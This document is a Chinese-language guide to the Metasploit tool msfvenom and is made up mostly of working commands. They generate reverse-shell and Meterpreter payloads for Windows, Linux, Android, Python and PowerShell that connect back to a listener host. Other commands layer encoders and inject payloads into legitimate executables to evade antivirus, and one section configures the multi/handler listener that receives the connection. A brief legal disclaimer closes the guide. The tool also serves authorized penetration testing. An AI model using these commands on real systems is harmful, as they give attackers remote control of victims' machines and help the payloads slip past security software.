msfvenom 载荷生成工具详细指南
msfvenom 是 Metasploit 框架中用于生成和编码攻击载荷(Payload)的核心工具,它合并了旧版 msfpayload 和 msfencode 的功能,支持生成跨平台、多格式的载荷,并集成了编码、加密、模板注入等免杀技术 。
一、核心参数详解
1.1 基础参数
下表列出了生成载荷时必须指定的核心参数:
| -p, –payload | -p | 指定要使用的载荷类型。 | windows/meterpreter/reverse_tcp |
| -f, –format | -f | 指定输出文件的格式。 | exe, raw, python, c |
| -o, –out | -o | 指定输出文件的路径和名称。 | /tmp/payload.exe |
| LHOST | – | 监听主机的 IP 地址(反向连接必需)。 | ` |
| 192.168.1.100` | |||
| LPORT | – | 监听主机的端口号。 | ` |
| 4444` |
1.2 平台与架构参数
| –platform | 指定目标平台。 | windows, linux, android |
| -a, –arch | 指定目标架构。 | x86, x64 |
1.3 编码与迭代参数
| -e, –encoder | 指定编码器以规避静态查杀。 | x86/shikata_ga_nai |
| -i, –iterations | 指定编码迭代次数。 | ` |
| 5` | ||
| -b, –bad-chars | 指定需要避免的坏字符(如 \\x00\\x0a)。 | \\x00\\xff |
二、常用载荷生成示例
2.1 Windows 平台载荷
生成一个标准的 Windows 反向 TCP Meterpreter 可执行文件:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/win_rev.exe
生成一个 64 位 Windows 的载荷,并使用编码器:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x64/xor_dynamic -f exe -o /tmp/win64_encoded.exe
2.2 Linux 平台载荷
生成一个 Linux 反向 Shell 的 ELF 文件:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o /tmp/linux_rev.elf
2.3 Android 平台载荷
生成一个 Android 应用载荷:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o /tmp/android_payload.apk
2.4 脚本类载荷
生成 Python 格式的反向 Shell:
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.100 LPORT=4444 -f raw -o /tmp/rev_shell.py
生成 PowerShell 载荷:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f psh-reflection -o /tmp/payload.ps1
三、高级免杀与编码技术
3.1 多重编码
通过管道或 -i 参数进行多次编码,可以显著提高免杀效果 。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -i 5 -f exe -o /tmp/multi_encoded.exe
或者使用单一命令指定迭代次数:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 15 -f exe -o /tmp/iter_encoded.exe
3.2 使用模板注入
将载荷注入到一个合法的可执行文件(模板)中,以绕过基于签名的检测 。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x /path/to/legitimate.exe -f exe -o /tmp/embedded_payload.exe
参数 -x 指定模板文件,-k 参数可以尝试保留模板的原始功能(不总是有效)。
3.3 规避坏字符
在生成 Shellcode 时,避免某些可能破坏程序执行的字符(如 NULL 字节 \\x00、换行符 \\x0a 等)。
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\\x00\\x0a\\x0d\\xff' -f c
四、监听器配置(Multi/Handler)
生成载荷后,必须在 Metasploit 中配置对应的监听器来接收连接 。
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.100
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j
-j 选项表示作为后台任务运行监听器。
五、实用技巧与注意事项
5.1 列出所有可用选项
查看所有可用的载荷:
msfvenom -l payloads
查看所有可用的编码器:
msfvenom -l encoders
查看所有可用的输出格式:
msfvenom -l formats
5.2 生成 Shellcode (C/Python/Raw格式)
生成 C 语言数组格式的 Shellcode,便于嵌入到其他程序中:
msfvenom -p windows/exec CMD=calc.exe -f c
生成 Python 字节码格式:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f python
5.3 载荷的持久化与权限提升
部分高级载荷支持内置的持久化(Persistence)和权限提升(Privilege Escalation)功能,这些通常通过 Meterpreter 的后期利用模块实现,而非在 msfvenom 生成时直接集成 。生成载荷后,可通过 Meterpreter 会话手动执行 persistence、getsystem 等模块。
5.4 免杀的局限性
尽管编码和加壳(如使用 UPX )能绕过部分静态检测,但现代 EDR/AV 通常结合行为检测和云查杀。因此,免杀是一个持续对抗的过程,可能需要结合自定义编译、API 混淆、睡眠(Sleep)等技术。
5.5 法律与道德声明
msfvenom 是一个功能强大的渗透测试工具,仅限在合法授权的安全评估、渗透测试或教学研究环境中使用。未经授权对他人系统使用攻击载荷是非法行为,将承担法律责任。
参考来源
- 使用Metasploit生成攻击载荷——msfvenom免杀、upx加壳
- 13、msfvenom生成二进制载荷payload
- Metasploit Framework生成定制化的攻击载荷msfvenom
- MSF攻击载荷的生成
- 从生成到上线:一份超详细的Metasploit msfvenom木马制作与监听配置指南




